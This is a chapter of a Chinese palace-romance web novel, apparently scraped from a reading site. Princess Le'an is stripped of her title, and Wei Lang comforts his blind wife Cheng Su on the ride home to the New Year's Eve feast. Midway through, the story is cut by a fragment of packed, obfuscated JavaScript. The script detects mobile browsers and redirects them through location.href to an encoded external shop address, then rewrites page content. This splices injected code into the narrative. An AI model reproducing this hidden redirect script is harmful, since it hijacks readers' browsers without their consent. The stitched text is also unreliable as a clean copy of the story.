乐安县主哪里能想到还能杀出这样的变数,还想狡辩:“陛下,乐安只是想请程夫人叙叙旧,并无恶意……” “住口!” 第一个出声斥责她的竟是皇后。 她面带愠怒道:“乐安县主当真好大的权势,这宫里竟然也有你的家仆。” 今日本就是是她率领众命妇宴饮,乐安在她的眼皮子底下动手脚,指使的还是宫人,只会显得她这个皇后失职。 她再怎么狡辩,在场的哪一个不是人精。若只是寻常说话,哪里用得着偷偷摸摸把人骗到这里来。更何况方才在门外,众人也不是没听到几句对话。 隆兴帝冷眼看着,直至皇后斥责完了才道:“卫琅,你既已成了金吾卫统领,今日的事就由你亲自来查。” 卫琅单膝跪地:“多谢陛下开恩。” 隆兴帝转头又问:“你便是程氏?” 程素同样跪倒在地,深深叩首:“民女见过陛下。” 隆兴帝居高临下地打量着她。 他今日本就是要给卫琅他们做脸面的,谁能料到中间竟会出这样的插曲。不仅扰了他的兴致,还牵扯到了宫里人。 没有一个皇帝会不忌讳别人把手伸进宫里的,今日胆敢在宫宴上带走命妇,难保他日就有人敢对乾元殿起心思。 然而,不说跪在地上的人本是苦主,看旁边卫琅焦急不安的模样,他最终也只是冷冷道:“乐安县主即日起贬为庶人,此生不得再踏入宫中一步。” 说罢,他拂袖而去。 皇后等人也随之离开,不过离去前,也简单地安抚了程素一两句,便把这烂摊子交给了卫琅来收拾。 没人再去看瘫倒在地的乐安一眼。 若说此前她只是家里失势,这一回却是连县主的名号也没有了,甚至之后要如何发落,也要看卫家的意思。 然而卫琅早已无心管这些。 他命人看好了乐安等人和那名宫女,便带着程素先行离开。 出了这样的事,卫家人终于有借口早早离席了。卫琅陪女眷们登上马车,准备先回去安顿好程素,再彻查方才的事。 马车辘辘地远离了宫城,一路向着侯府方向疾驰而去。 …… 车厢内,程素感受着埋在她脖颈间那颗脑袋的份量,终于忍不住道:“……侯爷,我真的没事,你可以松开了。” 从上车起就一直借机抱着她不撒手的某人终于动了一动:“真的吗?” “……千真万确。” 卫琅才舒了一口气,闷闷道:“……你不知道,方才听说你不见了,险些没吓死我,就怕你出了什么事。” 程素沉默片刻,才伸手试着拍拍他的后背以示安抚:“这是在宫里,我可是侯夫人,她们不敢乱来的。” 卫琅摇头:“那宫里才是天下第一等是非之地,什么事都有。” 若是她能和常人一样,他也能放心些,偏偏她身边一刻也离不了人。正因如此,他也一直不愿带她进宫。 他越是如此,程素心里反而越是愧疚:“抱歉,让你担心了。” 卫琅想也不想道:“你道什么歉,这事能怪你吗?倒是有些人,我还没去找她们的麻烦,她们竟然敢打你的主意。” 一想到这,他就恨得牙根直痒痒。 俗话说冤有头债有主,那姓韩的小白脸当年辜负了素素,还想再来纠缠,他也只找了他几次麻烦,从没把乐安放在眼里,却不曾想那蠢货才是罪魁祸首。 程素只听他冷笑:“……乐安那蠢货不过是个明面上的靶子,只怕背地里还有什么人,是想对我们卫家下手呢。” 乐安家里早已失势,没有人在背后支应,区区一个县主能在宫里翻出什么风浪,更别说还能支使宫人行事。 这样一说,程素也回忆起来了:“……先前那为我引路的宫女身上,隐约有一股奇异的幽香,夹杂着几种名贵香料,其中有一味香料,闻着像龙涎香气。” 龙涎香产自异邦,名贵难寻,是宫廷御用之物,民间只有少许私下流传。 不过她也拿不准,毕竟今日宫宴,席上到处都是贵人,那宫女行走间也可能沾染,说明不了什么。就算是她凭记忆能大致复原出香方,可宫里那么多贵人,也指不定有人用了同一种香。 卫琅的老毛病这时候又发作了,忍不住开始大夸特夸起来:“素素,你怎么这么厉害,这什么那什么香的混在一起,怎么一闻就闻出来了。” 程素只好低声解释道:“岭南虽被人称为烟瘴之地,但物产丰富,尤其盛产各种香料。我和母亲这些年经营过一些香料生意,因此能分辩一二罢了。” 卫琅又凑了过来,脑袋像只小狗般胡乱在她肩头上蹭来蹭去:“满京城熏香的人那么多,也没见几个能说得出子丑寅卯的来。还是我们素素厉害。” 程素不得不抬手按住乱动的他,忽然问:“……我方才所说的话,侯爷听了就没什么想问我的吗?” 卫琅:“?” 程素静了一会儿,才轻声解释:“最开始那宫人失手把酒泼在我身上时,我便有预感了,但我还是跟她走了……” 卫琅想也不想道:“那又怎么样,就算你当时不跟着那个人走,她们明摆着要算计你,也会换别的人来骗你,总会找到让你怎么也躲不开的借口。” 程素低声道:“虽是如此,可我也是自愿跟她们走的,还把卫家也牵连了进去。若是我没有事先交待过青桂偷偷跟上,若不是正好赶上通传圣旨,或是你们来迟了,乐安的胆子再大一点……” 卫琅接道:“可结果不是很好吗,我们素素聪明机变,什么都想到了。除了让自己身置险境这点太过冒险,其他的你什么错都没有。至于说牵连卫家,她们敢对你做这些小动作,已然是没把侯府放在眼里,也合该让他们知道我的厉害。” 他伸手点了点她的额头:“素素,你是不是从小到大没做过坏事?” 程素抿唇不语。 她想说的不只是这些。 卫琅也许对当年她那连搭救都算不上的恩情念念不忘,可她心里清楚,自己也许并非他幻想里的那个人。 她不是什么圣人,也并不温婉贤淑。会有怨,也会有恨。 跟韩元清那桩婚约,她并未放在心上,但却无法忘记当初因此而招致的刺杀。无论是险些连累了父母,还是迄今未能复明的双眼,长达数年不见天日的黑暗,都足以让她如鲠在喉。 可惜,她只是一个普通人。 纵使是遇赦还京后,得知乐安一家失势,她也无力报复。 直至宫宴上察觉到被人窥视后,她便意识到,自己的机会也许来了。 她当着乐安的面说的那些话,还是极力克制后的,若非顾忌门外的人,她也不知道自己会对着仇人说出何等尖酸刻薄的话,以泄心头之愤。 在她看不到的地方,卫琅的脸色不断变换,表情十分奇怪。 好吧,他的素素非但没干过什么坏事,看起来连人坏话都没怎么说过。 听闻已逝的岳父大人是个正直君子,才导致自己被牵连贬官,没想到素素也有一样的毛病。明明只是做了正常人都会做的事,却还如此苛责自己。 这样认真得几近古板的性子,让他只觉她呆得可爱:“好了,不要再往自己身上揽错了。你一点错也没有,是我考虑不周。若说有错,也只有一点……” 程素:“嗯?” 卫琅不满道:“你心思太重,想什么都不告诉我。” 程素一时失语。 随即,她心头涌上了一种深深想叹气的冲动。平生头一次,她对一个人只有深深的无可奈何,完全不知该如何是好。 卫琅学着她先前的样子,也拍了拍她的脑袋:“不过我今天还是很高兴。” “你终于肯跟我说说心里话了。” 不是满口的侯爷,也不是什么都只会应是的温婉妻子,而是她的真心话。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17083847|193938||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 虽然话里话外的意思还是他还是不太爱听,不过也算是难得的进步了。 程素只觉肩头一沉,卫琅又顺势靠在了她的身上,就这么抱着她。 她终于也不说话了。 两人静静地听着彼此的心跳声,感受着这片刻的缱绻,还是程素先回过神来,清清嗓子道:“……好了,我们说回方才的事。你之前可得罪过宫里的什么人?” “当然没有……不,也不是不可能。” 卫琅想也不想地否认,他又不是傻子,什么人能得罪什么人不能得罪,心里还是有数的。可话说到一半,他忽然想起了什么,顿时也不确定起来。 隆兴帝当初想让他尚公主一事,就算没有声张,也不代表没有其他人知晓。 程素一脸若有所思道:“原来侯爷还与公主有缘。” 卫琅急急道:“你想什么呢,我跟那二位可半点关系也没有。” 说白了,他是跟从前的端王府关系不错,可也仅限于跟隆兴帝这个便宜世叔,跟其他人可没什么交情。 要说王府时期,其他人还愿意对他客气一二,如今个个成了龙子龙孙,那点交情人家只是嘴上说说,心里早就不认了。 隆兴帝如今还是年富力强的时候,太子和二皇子两派就已经开始明争暗斗。宫里还有一位贵妃,若不是她膝下的皇子尚且年幼,指不定要乱成什么样了。 卫琅还是有自知之明的。 就算这次背后支使乐安的当真是某位公主,那也不可能是因为争风吃醋,反倒更可能是由于看不上他,恼羞成怒而已。 就像乐安当年抢了婚事,还要落井下石致程家于死地,在有些人眼里,低位者的生死,不过是顺手而为的事罢了。 对方看不惯他,可卫琅毕竟是定远侯,不能真像捏死一只蚂蚁一样捏死他,才让程素代他受了无妄之灾。 无论乐安,还是她,都不过是对方眼里随手游戏的棋子而已。 不过这些就没有必要跟程素说了。 然而即便他不说,程素也已然猜到了许多,她轻声道:“既然如此,这件事便查到乐安为止,就再好不过了。” 无论背后的人出于什么心思,她借此机会,把当年的仇已经报了,卫琅也把事情闹大到了隆兴帝跟前。只要对方不想结怨更深,就应该懂得见好就收。 卫琅才不想听她的话,嘴上哼哼了两声假装应下了。 说话之间,马车慢慢停下。 侯府已经到了。 程素被卫琅扶着下了马车,忽然感觉面颊上一片冰凉,随即听到对方的轻笑声:“才一会儿的功夫,又下雪了。” 从皇宫到侯府这一段路的距离,天上已经下起了鹅毛大雪。程素虽然看不见,却也能想象到这样的盛景。 卫琅望着她仰头感受下雪的模样,不知不觉跟着笑了起来。 另一边老夫人也携着卫若下了车,见两人并肩而立,姿态亲昵,宛若一对璧人,不由得笑着打趣:“方才我和若若还在担心,看你们这样,我也能放下心来了。” 一家老小说说笑笑,往府里走去,准备回松芝堂好好举行除夕家宴。 松芝堂内灯火通明,众人还没进屋,就见留守在家的卫珏匆匆迎了出来。 他今日没有一同去宫里赴宴,而是留在府里,这会儿一见了众人,就满脸求救的表情,偏偏一个字也说不出来。 等进了屋,只见屋里坐着四夫人薛氏,她见众人进来,也只是不紧不慢地放下茶盏,不冷不热道:“呦,各位可是从宫里回来了,可让我和阿珏两个好等。” 一听这话,卫琅便什么都明白了,心下生出了淡淡的不悦。不过到底是大过年的,对方又是长辈,他也不想当着祖母和弟弟妹妹们的面给人不痛快。 正打算打圆场糊弄过去,却听老夫人沉声道:“阿琅,你先带素素回去,今晚她受了惊,你好好多陪陪她。” 此时估计已将近亥时,这样一来一回,只怕今年的除夕家宴都要耽搁了。不过祖母已经发话,卫琅虽有些迟疑,却还是恭敬道:“孙儿遵命。” 老夫人又道:“阿珏,今晚我和你兄嫂都乏了,今年你陪你若若妹妹守岁。” 卫珏也只好应下,拉着卫若离开。 转眼之间,方才还在场的众人走空了,此时屋内只剩下了薛氏和老夫人。 老夫人闭了闭眼,再睁开时已一片清明冷漠:“人都走了,想说什么就说吧。”